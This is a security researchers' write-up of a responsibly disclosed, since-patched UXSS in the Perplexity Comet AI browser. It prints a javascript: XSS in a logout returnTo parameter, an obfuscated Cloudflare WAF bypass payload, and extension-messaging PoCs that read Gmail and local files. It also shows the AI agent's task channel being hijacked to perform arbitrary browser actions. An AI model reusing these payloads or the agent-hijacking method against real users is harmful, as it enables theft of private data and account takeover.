Hacktron

Intro

The beauty of composability is that it lets you build complex systems quickly, but that same composability spawns weird state machines, aka “vulnerabilities,” that slip past developers’ cognitive load and only show up when an attacker deliberately assembles them.

Top hackers are pretty great at finding bugs that emerge from layers of abstraction in highly composable stacks. My favorite example is Google Project Zero’s Pegasus/ForcedEntry case study.

What’s beautiful is that every link in the chain, from a crafted iMessage to full device compromise, is individually simple and, in many cases, easy for AI agents to find. Hacktron will happily locate an integer overflow in xpdf or even generate a Turing-complete JBIG2 payload when you scaffold the prompt carefully. But hand an agent iMessage and say “hack this” and it’ll be clueless about where to start. A complex chain like ForcedEntry takes months of human effort to discover and weaponize, and current models hardly run for hours. GPT-5 runs for 2 hours to exploit a buffer overflow in libiec61850.

All of this shows that the “drop-in AI hacker” that secures your infra and code is a marketing lie. These systems are great at many things, but they’re not a replacement for the best humans, at least for now. Pairing AI agents with top researchers finds and fixes these bugs faster.

In that spirit, I want to share a case study: how Hacktron researchers found a UXSS in Perplexity Comet and then taught Hacktron to catch it.

Perplexity Comet

Here is the PoC:

I have been using Perplexity Comet, it’s a great product, nicely integrated with Chromium for real computer-use workflows.

From their site:

“Comet is an AI-powered browser that acts as a personal assistant and thinking partner.

Boost your focus, streamline your workflow, and turn curiosity into momentum.”

Comet is built on Chromium and ships with Comet Assistant, an AI agent that can perform almost any in-browser task a normal user could, driven by prompts.

As security researchers, we care that the tools we rely on daily are secure and we typically understand their internals well enough to poke.

How Comet works

Most of Comet Assistant’s logic is in its extension:

Comet sidecar.Book a flight!Comet extensionbackgroundComet agent onwss://perplexity.aiControl browservia DevTools Comet sidecar.Book a flight!Comet extensionbackgroundComet agent onwss://perplexity.aiControl browservia DevTools

Looking at the extension source, the manifest has this bit:

"externally_connectable": {
"matches": ["https://*.perplexity.ai/*"]
}

This caught my eye. externally_connectable lets whitelisted origins talk to the extension via chrome.runtime.connect() or chrome.runtime.sendMessage().

A wildcard like https://*.perplexity.ai/* means any subdomain under perplexity.ai can reach the extension. From an attacker’s perspective, a single XSS on any subdomain is an initial foothold to poke extension surfaces.

s1r1us

"matches": [ "https://*.perplexity.ai/*" ] if u have a xss on this domain lmk

could be a UXSS on comet browser

👀 2

I guessed that it would lead to UXSS, and asked the team to start checking every perplexity.ai subdomain for XSS.

The hunt for XSS

And the hunt begins. We enumerated subdomains and started poking around for anything interesting. One of them was running Discourse, so we kicked off Hacktron to hunt for a Discourse 0-day XSS and save some time. In parallel, we pulled down JavaScript from several other subdomains and ran our CLI to scan them for DOM XSS as well.

I was 100% sure we would find a DOM XSS. DOM XSS shows up whether you use React, another framework, or vanilla JavaScript. In our recent OpenAI Atlas vulnerability disclosure, the main entry point was also a DOM-based XSS on a subdomain, where untrusted data flows into dangerous browser sinks.

Our DOM XSS pack flags risky sinks across a codebase, and our React security agent checks common framework-specific patterns.

Download the CLI and scan your code with:

Terminal window
hacktron --agent domxss

Before Hacktron finished, sudi stumbled on an easy win instead:

https://fellowship.perplexity.ai/logout?returnTo=javascript:x

sudi

bypass fucking cloudflare and we will have xss here https://fellowship.perplexity.ai/logout?returnTo=javascript:x

Browser paused in the debugger on the fellowship.perplexity.ai logout page, stopped on the window.location.href assignment🙌 2

However, Cloudflare WAF blocks any XSS payload, so we needed a bypass. Another researcher of ours came out of nowhere and dropped the bypass for the WAF:

Ginoah
https://fellowship.perplexity.ai/logout?
returnTo=java%0ascript%3a%0aa%0a%3d%0a%27r%22%29%27;%E7%94%B2=%22javascript%22%2b%22:%3cimg%22%2b%22%20sr
2b%22t(documen%22%2b%22t.domain%22%2ba%5b2%5d%2b%22%3e%22;%0atop%5b%22locat%22%2b%22ion%22%5d=%E7%94%B2;
🔥 8

here you go, alert(document.domain)

This actually turned out to be such a clever bypass. I leave it to the reader to understand it:

java\nscript:\na\n=\n'r")';甲="javascript"+":<img"+" src=x"+" onerror"+"=aler"+"t(documen"+"t.domain"+a[2]+">";\ntop["locat"+"ion"]=甲;

Escalating to UXSS

Any origin matching externally_connectable can hit listeners via chrome.runtime.sendMessage.

A quick search for chrome.runtime.onMessageExternal.addListener and onConnectExternal showed action handlers like:

  • COMET_CLOSE_SIDECAR, DEACTIVATE_SCREENSHOT_TOOL, MAKE_TASK_VISIBLE, MOVE_THREAD_TO_SIDECAR

  • TEST_RUN_ACTION, RUN_IDLE_TEST, CALL_TOOL (this one is juicy)

A typical call:

chrome.runtime.sendMessage("npclhjbddhklpbnacpjloidibaggcgon", {
type: "TYPE",
requestId: 1,
method: "methodName",
args: [""]
});

For instance, sudi noticed that RUN_IDLE_TEST uses the chrome.debugger.sendCommand API with the command DOMSnapshot.captureSnapshot, which returns the full DOM tree:

chrome.runtime.sendMessage("npclhjbddhklpbnacpjloidibaggcgon", {
type: "RUN_IDLE_TEST",
message: { url: "https://google.com" }
}, res => {
console.log("Extension replied:", res);
});
DevTools console in Comet showing a RUN_IDLE_TEST message for google.com and the extension’s reply with snapshotAxTree and snapshotHtml highlighted

DevTools console in Comet showing a RUN_IDLE_TEST message for google.com and the extension’s reply with snapshotAxTree and snapshotHtml highlighted

As shown in the screenshot, both snapshotHtml and snapshotAxTree include the serialized DOM. Because the handler accepts file:// URIs, the RUN_IDLE_TEST action lets an attacker fetch and read responses from arbitrary origins, including local files.

SOP bypass

Meanwhile, I started Hacktron, which found two interesting APIs: CALL_TOOL and startAgentFromPerplexity.

s1r1us
- open_new_browser_tab: Open a specified URL in a new browser tab so you can view it.
- get_full_page_content: Extract and summarize the complete content from any loaded webpage.
- control_browser: Simulate user actions (clicking buttons, filling forms, submitting data, navigating, extracting dynamic data) directly on websites in either a new tab or your currently-viewed tab.
- search_browser: Search your open browser tabs and browsing history for websites, pages, or specific keywords.
- find_browser_tab_groups: Find and list your existing browser tab groups.
- group_open_browser_tabs: Group specific open tabs into new or existing tab groups for better organization.
- close_browser_tabs: Close one or more specific open browser tabs (except for your currently viewed one).
- ungroup_open_browser_tabs: Remove tabs from groups or disband entire tab groups.
- search_web: Search the public web for current information about any topic, URL, or service.
6 replies, last reply 15 days ago
s1r1us

these are the tools

control_browser intersting

The code for those calls is as below:

const Uo = "CALL_TOOL",
if (e.type === Uo) return n(await EI(e, t));
[...]
class yI {
constructor(t, n) {
this.scopedLogger = t, this.sender = n, this.GetContent = n0(ap)(this.GetContent)
}
async GetContent(t, n = !1) { [...] }
async GetSidecarContext(t) { [...] }
async SearchBrowser(t) { [...] }
async GetVisibleTabScreenshot(t) { [...] }
async OpenTab(t) { [...] }
async CloseTabs(t) { [...] }
async GroupTabs(t){ [...] }
async UngroupTabs(t) { [...] }
async SearchTabGroups(t) { [...] }
}

We can use that to open any page and read that content. The following is the PoC for reading mail.gmail.com web page data:

await chrome.runtime.sendMessage('npclhjbddhklpbnacpjloidibaggcgon',{
"type": "CALL_TOOL",
"method": "OpenTab",
"request": {
"key": "unknown",
"request_id": "unknown",
"url": "https://mail.gmail.com/"
}
})
await chrome.runtime.sendMessage('npclhjbddhklpbnacpjloidibaggcgon',{
"type": "CALL_TOOL",
"method": "GetContent",
"request": {
"goal_id": "0",
"pages": [
{
"url": "https://mail.gmail.com/",
"id": 903156428
}
],[...]
})

Failed attempt to escalate to RCE

Initially, the team tried to escalate to RCE by using Chrome’s privileged pages, without success. Essentially, the idea is to do something like this report.

herrera

can you open chrome://downloads and click on the downloaded file? 👀

s1r1us

yes

indeed

thats where i am going

lol

we can control that page

🔥 2
sudi

😂😂

s1r1us

about to tag @herrera

lmao

Harsh Jaiswal
Custom emoji of a man in glasses and a cap inside a red ring
Zayne
Custom emoji of a man in glasses and a cap inside a red ring

We also tried installing a malicious extension with high privileges, which didn’t work either:

herrera

I tried opening chrome store and asking to click on the install button

it works, but then there is the native prompt

which didn’t work, doesn’t seem like extensions can click there

:/

Assistant UXSS

But as Hacktron pointed out earlier, there was a control_browser message listener which was interesting to escalate to UXSS:

chrome.runtime.onConnectExternal.addListener(port => {
// ...
port.onMessage.addListener(async t => {
if (t.action === "startAgentFromPerplexity") {
// connects to wss://www.perplexity.ai, creates a task runner
await a.startTask();
}
});
});
s1r1us
await chrome.runtime.sendMessage('npclhjbddhklpbnacpjloidibaggcgon',{
    "type": "CALL_TOOL",
    "method": "OpenTab",
    "request": {
        "key": "unknown",
        "request_id": "unknown",
        "url": "comet://downloads/"
    }
})

cooked

clicking the download is tricky tho

but fear not

{
  "tasks": [
    {
      "task": "Click the main puzzle button and extract what happens next.",
      "start_url": "https://ctf.s1r1us.ninja/",
      "use_current_page": true,
      "attachments": []
    }
  ]
}

control_browser args are this

😂 2

The startAgentFromPerplexity opens a websocket to Perplexity’s backend and forwards the task. The backend returns selectors based on page responses, and the extension executes the resulting actions (clicks, etc.) in the page.

With this, we can open any URL and make the agent perform arbitrary actions.

Watch the full PoC where we are using the XSS to read gmail contents and change the perplexity username.

We immediately reached out to Perplexity through security@perplexity.ai and their security lead Kyle on Twitter, who was very helpful and got it fixed the next day.

Disclosure timeline

  1. Hacktron reported via security@perplexity.ai

  2. Hot patch released in 24 hours

  3. Hacktron team validated the fix

  4. -

    Perplexity awarded us with $6,000 bounty for responsible disclosure.

Hacktron CLI release

We are releasing the agents that we created out of this research for free to run. It covers common React footguns and Chrome extension vulnerabilities.

Download the CLI and review your code:

Terminal window
hacktron --agent chrome_extension
hacktron --agent domxss

About us

Our team includes top-ranked CTF competitors, DEF CON-published researchers, and bug bounty hunters. We have hacked browsers, operating systems, mobile apps, desktop software, and large web platforms. Hacktron turns that experience into AI agents, tooling, and infra for offensive and defensive security.

Meet our team.

Please contact us at contact us or hello@hacktron.ai to discuss how we can help secure your product. You can also join our waitlist to be notified when we open up access more broadly. If you are building AI agents, send us an email. We hacked Cluely, Windsurf, now Perplexity, and work with teams closely to secure agentic systems.